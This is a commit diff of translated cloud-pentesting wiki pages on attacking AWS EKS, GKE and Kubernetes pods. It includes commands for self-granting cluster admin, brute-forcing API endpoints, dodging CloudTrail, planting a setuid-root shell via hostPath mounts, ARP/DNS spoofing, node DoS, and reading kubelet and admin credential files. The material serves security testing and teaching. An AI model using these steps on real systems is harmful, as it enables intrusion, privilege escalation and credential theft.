Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-07-09 09:22:25 +00:00
parent 414e5a0388
commit 36a43c245f
11 changed files with 766 additions and 522 deletions
@@ -1,4 +1,4 @@
# AWS - EKS ポストエクスプロイテーション
# AWS - EKS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,20 +12,20 @@
### AWS Console から cluster を列挙する
権限 **`eks:AccessKubernetesApi`** があれば、AWS EKS console から **Kubernetes objects を表示**できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
**`eks:AccessKubernetesApi`** 権限があれば、AWS EKS console から **Kubernetes objects** を確認できます ([詳細](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
### AWS Kubernetes Cluster に接続する
- 簡単な方法:
- Easy way:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- それほど簡単ではない方法:
**`aws eks get-token --name <cluster_name>`** で **token** を取得できても、cluster info を取得する権限describeCluster)がない場合、**自分 `~/.kube/config` を作成**できます。ただし、token があっても、接続先の **url endpoint**pod から JWT token を取得できた場合は [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) を参照)と **cluster ** は依然として必要です。
もし **`aws eks get-token --name <cluster_name>`** で **token** を取得できるが、cluster infodescribeClusterを取得する権限がない場合、**自分 `~/.kube/config`** を用意できます。ただし、token を持っていても、接続先の **url endpoint**pod から JWT token を取得できた場合は [ここ](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) を参照)と **cluster の name**必要です。
私の場合、CloudWatch logs では情報を見つけられませんでしたが、**LaunchTemaplates の userData** と **EC2 machines の userData** で見つけました。たとえば次の例のように、**userData** でこの情報を簡単に確認できます(cluster は cluster-name でした):
私の場合、その情報は CloudWatch logs では見つかりませんでしたが、**LaunchTemaplates の userData** と **EC2 machines の userData** にありました。えば次の例のように、**userData** でこの情報を簡単に確認できます(cluster name は cluster-name でした):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -70,55 +70,55 @@ provideClusterInfo: false
```
</details>
### AWSからKubernetesへ
### AWS から Kubernetes
**EKS cluster****creator** **ALWAYS** `system:masters` グループ(k8s admin)の kubernetes cluster 部分に入ることができます。執筆時点では、**誰が** cluster を作成したかを直接特定する方法は**ありません**(CloudTrail を確認できます)。また、その **privilege** を**削除**する方法も**ありません**
歴史的に、**EKS cluster** の **creator**`aws-auth` からは見えない hidden な Kubernetes admin access を受け取っていました。現在の EKS clusters では、これは cluster access configuration に依存します。`bootstrapClusterCreatorAdminPermissions` は、creation 時に creator を cluster-admin access entry として追加するかどうかを制御し、EKS access entries によってその admin path は EKS API 経由で可視化され、取り消し可能になります。古い clusters、またはまだ `aws-auth` に依存している clusters では、legacy な creator behavior が残っている可能性があるため、creator が常に取り消し不能な `system:masters` を持つと決めつけずに、`accessConfig` を確認し、access entries を列挙し、CloudTrail を review してください
#### configmap の abuse
より多くの AWS IAM users や roles に **K8s への access** を付与する従来の方法は、**configmap** `aws-auth` を使うことです。
**K8s への access をより多くの AWS IAM users や roles に付与する** 伝統的な方法は、**configmap** **`aws-auth`** を使うことです。
> [!WARNING]
> したがって、config map `aws-auth` への **write access** を持つは、**cluster 全体を compromise** できます。
> したがって、config map **`aws-auth`** に **write access** を持つ anyone は、**cluster 全体を compromise** できます。
同じ account または別の account において、IAM roles & users に**追加の privileges を付与**する方法、およびこれを [**privesc に abuse する方法はこちら**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) を参照してください。
**同じ account または別の account** にある IAM roles & users に **追加権限を付与** する方法、およびこれを **abuse** して [**privesc についてはこの page を check**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) する方法の詳細は、こちらを参照してください。
**authentication IAM -> Kubernetes がどのように動作するかを学ぶ**に、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post**確認してください。
また、**authentication IAM -> Kubernetes の仕組みを学ぶ** ために、[**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post** check してください。
#### Access Entries の abuse
AWS は、access entries を通じて IAM users に Kubernetes cluster への access を付与する追加の方法を実装しています。`eks:CreateAccessEntry``eks:AssociateAccessPolicy` の permissions があれば、自分の user または特定の role に Kubernetes administrator role を割り当てられる可能性あります。
AWS は、access entries を通じて IAM users に Kubernetes cluster への access を付与する追加の方法を実装しています。`eks:CreateAccessEntry``eks:AssociateAccessPolicy` の permissions があれば、user 自身または特定の role に Kubernetes administrator role を割り当てられる可能性あります。
まず、**自分の user または role の access entry を作成**します:
まず、**user または role の access entry を create します**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
そのエントリ作成したら、直接ポリシーを割り当てられるようになるかもしれません。*AmazonEKSClusterAdminPolicy* という組み込みの AWS policy があり、これを直接使用できます。環境に、EKS で昇格された権限を付与する他の custom policies がある場合は`--policy-arn` をそれらのいずれかに変更してもかまいません:
そのエントリ作成されたことで、これに直接 policy を割り当てられるようになるかもしれません。*AmazonEKSClusterAdminPolicy* という組み込みの AWS policy があり、これを直接使用できる場合があります。環境に、EKS での権限昇格を許可する他の custom policies があるなら`--policy-arn` をそれらのいずれかに変更してもかまいません
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
AWS公式ドキュメントでこのポリシーを[**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)で確認できます
You can search for this policy in AWS official documentation [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
この時点から、*k8s* tokenを要求し、administratorとしてclusterと対話できる可能性があります:
この時点から、*k8s* token を request して、administrator として cluster と interact できるようになる場合があります:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### From Kubernetes to AWS
kubernetes service account に対して **OpenID authentication**有効にして、AWS で role を assume できるようにすることが可能です。[**この仕組みの詳細はこちらのページで学べます**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
**kubernetes service account** に対して **OpenID authentication**許可し、AWS で role を assume できるようにすることが可能です。これがどのように動作するかは、このページで学べます: [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
### GET Api Server Endpoint from a JWT Token
JWT token をデコードすると、cluster id と region も取得できます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url の標準フォーマットがであることを知っていると
JWT token を decode すると、cluster id と region も取得できます。 ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url の標準形式がであることを知っていれば、
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
'two chars' と 'number' の基準を説明するドキュメントは見つけられなかった。だが、自分でいくつかテストしてみると、よく出てくるのは次のものだった:
'two chars' と 'number' の基準を説明する documentation は見つかりませんでした。ですが、自分でいくつか test したところ、以下のものが繰り返し出てきました:
- gr7
- yl4
いずれにせよ、たった 3 文字なので bruteforce でき。リスト生成には以下のスクリプトを使う。
いずれにせよ、たった 3 chars なので bruteforce できます。リスト生成するには以下の script を使ってください
```python
from itertools import product
from string import ascii_lowercase
@@ -134,30 +134,30 @@ for comb in product(letter_combinations, number_combinations)
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
wfuzz を使って次に
それから wfuzz を使って
```bash
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
> [!WARNING]
> Remember to replace & .
### CloudTrail バイパス
### Bypass CloudTrail
攻撃者が **EKS に対する権限** を持つ AWS の認証情報を入手した場合攻撃者が前述のように **`update-kubeconfig`** を呼ばずに自分の **`kubeconfig`** を設定すると、**`get-token`** は AWS API とやり取りしないため、CloudTrail にログを生成しません(ローカルでトークンを作成するだけです)。
攻撃者が **EKS への権限** を持つ AWS の認証情報を取得した場合攻撃者が前述のように、自分の **`kubeconfig`** を **`update-kubeconfig`** を呼ばずに設定すると、**`get-token`** は AWS API とやり取りしないため、Cloudtrail にログを生成しません(ローカルでトークンを作成するだけです)。
そのため、攻撃者が EKS クラスターと通信しても、**cloudtrail には、侵害されたユーザーがアクセスしたことに関連する何も記録されません**。
そのため、攻撃者が EKS クラスターと通信しても、**cloudtrail には盗まれたユーザーがアクセスしたことに関連するものは何も記録されません**。
ただし、**EKS クラスター側でログが有効**になっている場合、このアクセス記録される可能性があります(ただし、デフォルトでは無効です)。
ただし、**EKS クラスター側でログが有効** になっている場合、このアクセス記録される可能性があります(ただし、デフォルトでは無効です)。
### EKS Ransom?
デフォルトでは、クラスターを作成した**ユーザーまたは role** は、**常に**そのクラスターに対する admin 権限を持ちます。そして、それが Kubernetes クラスターに対して AWS が持つ唯一の「安全な」アクセスです。
デフォルトでは、クラスターを作成した **user or role** **必ず** クラスターに対して admin 権限を持ちます。これは、Kubernetes クラスターに対して AWS が持つ唯一の「安全な」アクセスです。
そのため、**攻撃者が fargate を使用するクラスターを侵害し**、**他のすべての admins を削除し、クラスターを作成した AWS user/role を削除**した場合、~~攻撃者は **cluste**~~**r** をランサムできた可能性があります。
そのため、**攻撃者が fargate を使クラスターを侵害し**、**他のすべての admins を削除し**、クラスターを作成した **AWS user/role を削除** すると、~~攻撃者はそのクラスターを **ransom** できる~~**可能性があります**
> [!TIP]
> クラスターが **EC2 VMs** を使用していた場合、**Node** から Admin 権限を取得してクラスターを復旧できる可能性があります。
>
> 実際、クラスターが Fargate を使っている場合でも、EC2 nodes を使うか、すべてを EC2 に移して、node の token にアクセスしてクラスターを復旧できるかもしれません。
> 実際、クラスターが Fargate を使っている場合、EC2 nodes を使うか、すべてを EC2 に移して、Node の tokens にアクセスしてクラスターを復旧できるかもしれません。
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Containers
GCP containersでは、GCPが提供するコンテナベースのサービスのほとんどを見つけることができます。ここでは、最も一般的なものを列挙する方法を見ていきます:
GCP containers では、GCP が提供するコンテナベースのサービスのほとんどを見つけることができます。ここでは、最も一般的なものを列挙する方法を示します:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
以下のページで、**container の権限を悪用して権限昇格する**方法を確認できます:
以下のページで、**container permissions を悪用して privilege を escalate する**方法を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -32,7 +32,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
## Node Pools
これらは、kubernetes cluster を成する machines (nodes) の pool です。
これらは、kubernetes clusters成する machinenodesの pool です。
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
```
## Kubernetes
Kubernetes については、こちらのページを確認してください:
Kubernetes についてはのページを確認してください:
{{#ref}}
../../kubernetes-security/
{{#endref}}
まず、プロジェクト内に Kubernetes クラスターが存在するかどうかを確認できます。
まず、プロジェクト内に Kubernetes クラスターが存在するか確認できます。
```
gcloud container clusters list
```
クラスターがある場合は、`gcloud` `~/.kube/config` ファイルを自動で設定させることができます。このファイルは、K8s クラスターとやり取りするためのネイティブ CLI である [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) を使うときに、あなたを認証するために使用されます。このコマンドを試してください。
クラスターがある場合は、`gcloud` を使って `~/.kube/config` ファイルを自動的に設定できます。このファイルは、K8s クラスターとやり取りするためのネイティブ CLI である [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) を使うときに、認証に使用されます。このコマンドを試してください。
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Then, `~/.kube/config` ファイルを確認して、生成された credentials を見てください。このファイルは、現在の `gcloud` session が使用しているのと同じ identity に基づいてaccess tokens を自動的に refresh するために使用されます。もちろん、これには正しい permissions が設定されている必要があります。
その後、`~/.kube/config` ファイルを確認して、生成された credentials を見てください。このファイルは、アクティブな `gcloud` セッションが使用しているのと同じ identity に基づいて access tokens を自動的に更新するために使れます。もちろん、これには適切な permissions が設定されている必要があります。
これが設定されると、次の command を試して cluster configuration を取得できます。
```
kubectl cluster-info
```
`gcloud` については [here](https://cloud.google.com/sdk/gcloud/reference/container/) で詳しく読めます。
`gcloud` の containers については [こちら](https://cloud.google.com/sdk/gcloud/reference/container/) 読めます。
これは GCP で kubernetes を列挙するための簡単なスクリプトです: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Current GKE identity and metadata checks
### 現在の GKE identity metadata の確認
modern GKE clusters をレビューするときは、Google Cloud IAM permissions、Kubernetes RBAC、pod workload identity、node credentials を分けて考えてください。Google principal は多くの場合 `container.clusters.get` で cluster endpoint data を取得できますが、実際の Kubernetes requests はそれでも GKE/Kubernetes authorization と、private endpoints や authorized networks のような network restrictions を通過する必要があります。
最新の GKE clusters を確認する際は、Google Cloud IAM permissions、Kubernetes RBAC、pod workload identity、node credentials を分けて考えます。Google principal は多くの場合 `container.clusters.get` で cluster endpoint data を取得できますが、その後の Kubernetes requests は依然として GKE/Kubernetes authorization と、private endpoints や authorized networks のような network restrictions を通過する必要があります。
Workload Identity Federation for GKE は、pods が Google Cloud APIs にアクセスするための推奨方法です。cluster に workload pool があるか、そして Kubernetes service accounts が IAM principals として直接マッピングされているか、または IAM service accounts を impersonate することを許可されているかを確認してください:
Workload Identity Federation for GKE は、pods が Google Cloud APIs にアクセスするための推奨方法です。cluster に workload pool があるか、また Kubernetes service accounts が IAM principals として直接マッピングされているか、あるいは IAM service accounts を impersonate できるかを確認してください:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,33 +76,47 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Service account に `iam.gke.io/gcp-service-account` アノテーションがある場合、IAM service account policy を確認して、Kubernetes service account principals に対する `roles/iam.workloadIdentityUser`付与を調べてください。あわせて、IAM allow policies で direct workload identity principals や broad principal sets が使われていないかも確認してください
service account に annotation `iam.gke.io/gcp-service-account` がある場合、IAM service account policy を確認して、Kubernetes service account principal に対する `roles/iam.workloadIdentityUser` grant がないか調べてください。さらに、IAM allow policies を確認して、直接の workload identity principal や、namespace-wide や cluster-wide の workload access のような広い `principalSet://` grant がないかも確認してください。annotation `iam.gke.io/credential-quota-project` は、IAM Service Account Credentials API の quota を別の project に移すだけです。workload principal には、依然としてその quota project に対する `serviceusage.services.use` と、target resource への別個の IAM access が必要です
Metadata へのアクセスは、cluster mode、node pool configuration、そして workload settings に依存します。すべての pod が node service account を盗めると決めつけないでください。Workload Identity が有効な環境では、通常の pod は GKE metadata server を使って、自分の Kubernetes service account 用の workload identity を取得する必要があります。node compromise、いくつかの Standard 構成で`hostNetwork` pods、そして legacy node metadata exposure によって blast radius は変わり得るため、実際の node pool metadata mode、node service account、OAuth scopes、そして pod placement を確認してください。
Metadata access は、cluster mode、node pool configuration、workload settings に依存します。すべての pod が node service account を盗めると決めつけないでください。Workload Identity-enabled 環境では、通常の pod は GKE metadata server を使って、自分の Kubernetes service account に対応する workload identity を取得するべきです。node compromise、Standard の一部構成における `hostNetwork` pod、そして legacy node metadata exposure blast radius を変えうるため、実際の node pool metadata mode、node service account、OAuth scopes、pod placement を確認してください。
Workload Identity-enabled の pod が token を取得できない場合は、IAM binding が間違っていると決めつける前に NetworkPolicy egress も確認してください。NetworkPolicy を使う GKE Standard cluster では、cluster version と dataplane に必要な metadata-server path を allow する必要があります。また Dataplane V2 では metadata-server access に `169.254.169.254` path を使います。
### Autopilot privileged workload allowlists
GKE Autopilot はデフォルトでほとんどの privileged workload を block しますが、承認済みの例外が存在する場合があります。privileged pod は不可能だと決めつける前に、privileged admission settings、`AllowlistSynchronizer` object、そしてインストール済みの `WorkloadAllowlist` object を確認してください:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
当初、この privilege escalation technique **GKE cluster 内で privesc** することを可能にし、結果として攻撃者が **完全に compromise できる** ようにしていました。
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
これは、GKE が metadata に [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) を提供しており、それが **pod を compromise するだけで誰でもアクセス可能** だったためです。
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
使われた technique は以下の投稿で説明されています:
The technique used is explained in the following posts:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
また、この process を自動化するために次の tool が作られました: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
ただし、この technique は **metadata credentials を使って** **新しい node** のための CSR (Certificate Signing Request) を生成でき、それが **自動承認** されることを悪用していました。\
私のテストでは、**それらの request はもう自動承認されない** ことを確認したので、この technique がまだ有効かどうかは分かりません。
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
[**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) では、GKE の pod 内からアクセス可能な Kubelet API address が発見され、実行中の pod の詳細が得られることが判明しました:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
```
curl -v -k http://10.124.200.1:10255/pods
```
API が **リソースの変更を許可していなくても**、レスポンス内に **機密情報** 見つる可能性があります。エンドポイント /pods は [**Kiterunner**](https://github.com/assetnote/kiterunner) を使って発見されました。
API が **リソースの変更を許可していなくても**、レスポンス内に **sensitive information** 見つけられる可能性があります。エンドポイント /pods は [**Kiterunner**](https://github.com/assetnote/kiterunner) を使って見つかりました。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## **Pod Breakout**
**運が良ければ、node へ脱出できるかもしれません:**
**If you are lucky enough you may be able to escape from it to the node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
pod から escape するためには、まず **privileges を escalate** する必要があるかもしれません。代表的な手法:
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
侵害済みの pod から escape するために試せる **docker breakouts** を確認できます:
You can check this **docker breakouts to try to escape** from a pod you have compromised:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
侵害された pod/container に、host filesystem に直接マッピングされた書き込み可能な volume(Kubernetes hostPath または Docker bind mount)があり、かつ container 内で root になれるなら、その mount を利用して host 上に setuid-root binary を作成し、host からそれを実行して root を取得できます。
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
主な条件:
- mount された volume が container 内から書き込み可能であること(readOnly: false かつ filesystem permissions write が許可されている)。
- mount のバックエンドである host filesystem が nosuid オプション付きで mount されていないこと。
- host 上で planted した binary を実行する何らかの方法があること(例: host への別経路の SSH/RCE、host 上のユーザが実行できる、またはその path から binaries を実行する別の vector がある)。
Key conditions:
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
- The host filesystem backing the mount is not mounted with the nosuid option.
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
書き込み可能な hostPath/bind mounts の見つけ方:
- kubectl hostPath volumes を確認する: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- container 内から mounts を列挙し、host-path mounts を探して書き込み可能かテストする:
How to identify writable hostPath/bind mounts:
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- From inside the container, list mounts and look for host-path mounts and test writability:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
コンテナから setuid root binary を配置する:
コンテナからsetuid rootバイナリを配置する:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
ホスト上で実行してrootを取得する:
ホスト上で実行して root を取得する:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
@@ -94,11 +94,11 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges
```
kubectl get svc --all-namespaces
```
デフォルトでは、Kubernetes はフラットなネットワーキングスキーマを使用しており、これは **クラスタ内の任意の pod/service が他のものと通信できる** ことを意味します。クラスタ内の **namespaces** には、**デフォルトではネットワークセキュリティ制限がありません**。namespace 内の誰でも他の namespaces と通信できます。
デフォルトでは、Kubernetes はフラットな networking schema を使用しており、これは**クラスタ内の任意の pod/service が他のものと通信できる**ことを意味します。クラスタ内の**namespaces**には、**デフォルトではネットワーク上のセキュリティ制限がありません**。namespace 内の誰でも他の namespace と通信できます。
### Scanning
以下の Bash スクリプト[Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) から取得)は、kubernetes クラスターの IP 範囲をインストールしてスキャンします:
の Bash script[Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) から取得)は、kubernetes cluster の IP ranges を install して scan します:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
以下のページをチェックして、**Kubernetes有のサービスを攻撃して** **他のpod/環境全体を侵害する** 方法を学んでください:
以下のページをチェックして、Kubernetes有のサービスを**攻撃して**他の pod / 環境全体を**侵害する**方法を学んでください:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
**侵害されたpodが何らかの機微なサービスを実行していて**他のpodが認証する必要ある場合、**ローカル通信をsniffing** することで、他のpodから送れる認証情報を取得できる可能性があります
**侵害された pod が**他の pod が認証する必要ある**機密性の高いサービス**を実行している場合、**ローカル通信を sniffing** することで、他の pod から送信される認証情報を取得できるかもしれません
## Network Spoofing
デフォルトでは、**ARP spoofing**(それによって **DNS Spoofing** も) のような手法は kubernetes network で機能します。そのため、pod 内で **NET_RAW capability**(これはデフォルトで存在します)を持っていれば、カスタムに作成したネットワークパケットを送信し、**同じnode上で動作しているすべてのpodに対して ARP Spoofing を使った MitM attacks を実行**できます。\
さらに、**malicious pod** が **DNS Server と同じnode** 上で動作している場合、**cluster内のすべてのpodに対して DNS Spoofing attack** を実行できます。
デフォルトでは、**ARP spoofing** のような技術(そしてそれに伴う **DNS Spoofing**は kubernetes ネットワークで動作します。したがって、pod 内で **NET_RAW capability**(これはデフォルトで存在します)を持っていれば、カスタムに作成したネットワークパケットを送信し、**同じ node 上で動作しているすべての pod に対して ARP Spoofing による MitM attacks を実行**できます。\
さらに、**悪意のある pod** が **DNS Server と同じ node** 上で動作している場合、**cluster 内のすべての pod に対して DNS Spoofing attack** を実行できるようになります。
{{#ref}}
kubernetes-network-attacks.md
@@ -138,25 +138,25 @@ kubernetes-network-attacks.md
## Node DoS
Kubernetes manifests リソース指定されておらず、コンテナに **limit ranges 適用されていない** 場合があります。攻撃者としては、**pod/deployment が動作しているすべてのリソースを消費**し他のリソースを枯渇させ環境に DoS を引き起こせます。
Kubernetes manifests にはリソース指定がなく、container に対する limit ranges も**適用されていません**。攻撃者として、pod / deployment が動作している場所の**すべてのリソースを消費**し他のリソースを枯渇させ環境に DoS を引き起こせます。
これは [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) のようなツールで実行できます:
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
`stress-ng` を実行中と実行後の違いを見ることができます
`stress-ng` を実行中と、その後で違いを見ることができます
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
**container** から**escape**できた場合、node では次のような興味深いものがつかります:
**container** から **escape** できた場合、node で見つかる興味深いものがいくつかります:
- **Container Runtime** process (Docker)
- この node で動ている、さらに多く**pods/containers**。このように abuse できるもの(さらに多くの tokens
- **Container Runtime** プロセス (Docker)
- この node で動作している、悪用できる他**pods/containers**(より多くの tokens
- 全体の **filesystem****OS**
- 待ち受け中の **Kube-Proxy** service
- 待ち受け中の **Kubelet** service。config files を確認してください:
- **Kube-Proxy** service が listen している
- **Kubelet** service が listen している。config files を確認:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
@@ -164,16 +164,22 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
- その他の **kubernetes common files**:
- 他の **kubernetes common files**:
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
node access の後は、node が private images をどう pull するかも確認してください。役立つ証拠には、runtime image metadata (`crictl images`)、Pod または ServiceAccount の `imagePullSecrets``/etc/containerd/config.toml``/etc/containerd/certs.d` のような containerd registry 設定、そして `--image-credential-provider-config``--image-credential-provider-bin-dir` のような kubelet image credential provider flags が含まれます。
cached された private image があるからといって、再利用可能な registry credentials があるとは限りません。それは単に、この node にその image が存在することを示すだけかもしれません。ただし、static な runtime registry credentials、Docker config JSON pull secrets、または short-lived pull credentials を発行できる credential provider があれば、private registry access が露出する可能性があります。最近の Kubernetes versions では、image pulls 向けの service-account-token ベースの kubelet credential providers もサポートされているため、provider が Pod-bound の service account tokens を使っているか、どの audience を要求しているかを、impact を報告する前に確認してください。
### Find node kubeconfig
前述のパスのどこにも kubeconfig file が見つからない場合は、**kubelet process の `--kubeconfig` 引数を確認してください**:
以前にコメントしたパスのいずれかで kubeconfig file が見つからない場合は、**kubelet process の `--kubeconfig` argument を確認してください**:
```
ps -ef | grep kubelet
